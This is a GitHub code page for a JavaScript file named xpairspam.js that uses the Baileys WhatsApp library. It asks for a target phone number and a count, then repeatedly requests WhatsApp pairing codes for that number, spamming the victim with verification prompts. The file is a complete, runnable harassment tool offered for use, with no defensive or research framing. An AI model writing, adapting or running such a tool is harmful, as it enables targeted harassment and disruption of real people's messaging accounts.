-
Notifications
You must be signed in to change notification settings - Fork 31
/
xpairspam.js
73 lines (63 loc) · 2.62 KB
/
xpairspam.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
const { default: makeWASocket, useMultiFileAuthState } = require("@whiskeysockets/baileys");
const pino = require('pino');
const readline = require("readline");
const color = [
'\x1b[31m',
'\x1b[32m',
'\x1b[33m',
'\x1b[34m',
'\x1b[35m',
'\x1b[36m',
'\x1b[37m',
'\x1b[90m'
];
const xeonColor = color[Math.floor(Math.random() * color.length)];
const xColor = '\x1b[0m';
const question = (text) => {
const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
return new Promise((resolve) => { rl.question(text, resolve) });
};
async function XeonProject() {
const { state } = await useMultiFileAuthState('./69/session');
const XeonBotInc = makeWASocket({
logger: pino({ level: "silent" }),
printQRInTerminal: false,
auth: state,
connectTimeoutMs: 60000,
defaultQueryTimeoutMs: 0,
keepAliveIntervalMs: 10000,
emitOwnEvents: true,
fireInitQueries: true,
generateHighQualityLinkPreview: true,
syncFullHistory: true,
markOnlineOnConnect: true,
browser: ["Ubuntu", "Chrome", "20.0.04"],
});
try {
// Ask for phone number
const phoneNumber = await question(xeonColor + 'Enter target number🤙 : ' + xColor);
// Request the desired number of pairing codes
const xeonCodes = parseInt(await question(xeonColor + 'Amount 😽 : '+ xColor));
if (isNaN(xeonCodes) || xeonCodes <= 0) {
console.log('example : 20.');
return;
}
// Get and display pairing code
for (let i = 0; i < xeonCodes; i++) {
try {
let code = await XeonBotInc.requestPairingCode(phoneNumber);
code = code?.match(/.{1,4}/g)?.join("-") || code;
console.log(xeonColor + `${phoneNumber} [${i + 1}/${xeonCodes}]`+ xColor);
} catch (error) {
console.error('Error:', error.message);
}
}
} catch (error) {
console.error('error') ;
}
return XeonBotInc;
}
console.log(xeonColor + `═╗ ╦┌─┐┌─┐┌┐┌ ╔═╗┌─┐┌─┐┌┬┐ ╔╗╔┌─┐┌┬┐┬┌─┐┬┌─┐┌─┐┌┬┐┬┌─┐┌┐┌
╔╩╦╝├┤ │ ││││ ╚═╗├─┘├─┤│││ ║║║│ │ │ │├┤ ││ ├─┤ │ ││ ││││
╩ ╚═└─┘└─┘┘└┘ ╚═╝┴ ┴ ┴┴ ┴ ╝╚╝└─┘ ┴ ┴└ ┴└─┘┴ ┴ ┴ ┴└─┘┘└┘` + xColor);
XeonProject();